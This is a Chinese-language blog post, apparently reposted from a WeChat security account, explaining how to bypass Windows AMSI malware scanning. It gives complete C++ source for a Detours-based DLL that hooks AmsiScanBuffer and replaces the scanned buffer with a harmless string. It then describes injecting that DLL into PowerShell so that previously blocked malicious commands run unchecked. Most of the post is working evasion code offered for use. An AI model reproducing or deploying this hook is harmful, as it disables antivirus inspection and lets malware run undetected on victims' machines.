在之前的文章,hook rdp对外连接的账号密码 中有提到利用Detours进行hook得到rdp的账号密码,今天正好看到绕过AMSI的文章,那我们今天继续利用这个库来达到绕过AMSI的目的。
1、AMSI是什么
根据官方文档 介绍,其叫反恶意文件扫描接口。
然后AMSI的表现是什么呢,就是当你运行一个触发他的规则文件/命令时,就会出现如下的拦截信息:
因此我们的目的就是绕过AMSI,达到执行我们想要的文件/命令。
2、分析AMSI
通过分析AMSI,其检测机制大致为加载amsi.dll进行恶意文件扫描等操作:
根据网上的分析,我们只要能hook AMSI,让其检测到的值以为是安全的,那amsi.dll返回的值我们就是可控的,最后系统就会认为该文件是无害的。
3、hook AMSI
在之前的文章,hook rdp对外连接的账号密码 已经提到了一些Detours的用法,这里再说下其简单的用法。
首先需要知道我们要hook的函数的语法,这里我们要hook的函数为AmsiScanBuffer,其语法介绍在这里:
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
然后我们根据这个函数语法构造一个OriginalAmsiScanBuffer函数,OriginalAmsiScanBuffer函数指针保持真正的AmsiScanBuffer地址。然后再定义一个HookedAmsiScanBuffer函数,该函数中可以进行相应的hook操作,hook结束后,把对应的值回调回第一个OriginalAmsiScanBuffer函数来执行AmsiScanBuffer,最后DllMain的内容在 hook rdp对外连接的账号密码 有提到。
详细代码如下
#include <Windows.h>
#include <detours.h>
#include <amsi.h>
#include <iostream>
#pragma comment(lib, "amsi.lib")
#define SAFE "SafeString"
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;
HRESULT HookedAmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result)
{
MessageBoxW(NULL, 'hooked', L"amsiContext", 0);
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
if (DetourIsHelperProcess()) {
return TRUE;
}
if (dwReason == DLL_PROCESS_ATTACH) {
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, HookedAmsiScanBuffer);
DetourTransactionCommit();
}
else if (dwReason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, HookedAmsiScanBuffer);
DetourTransactionCommit();
FreeConsole();
}
return TRUE;
}
4、测试结果
我们把第三节里面的代码编译成dll,然后dll注入到相关进程,这里以powershell为例。
在未注入前,恶意命令被AMSI拦截,注入后,成功hook绕过:
本文始发于微信公众号(中国白客联盟):绕过AMSI进行逃避审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论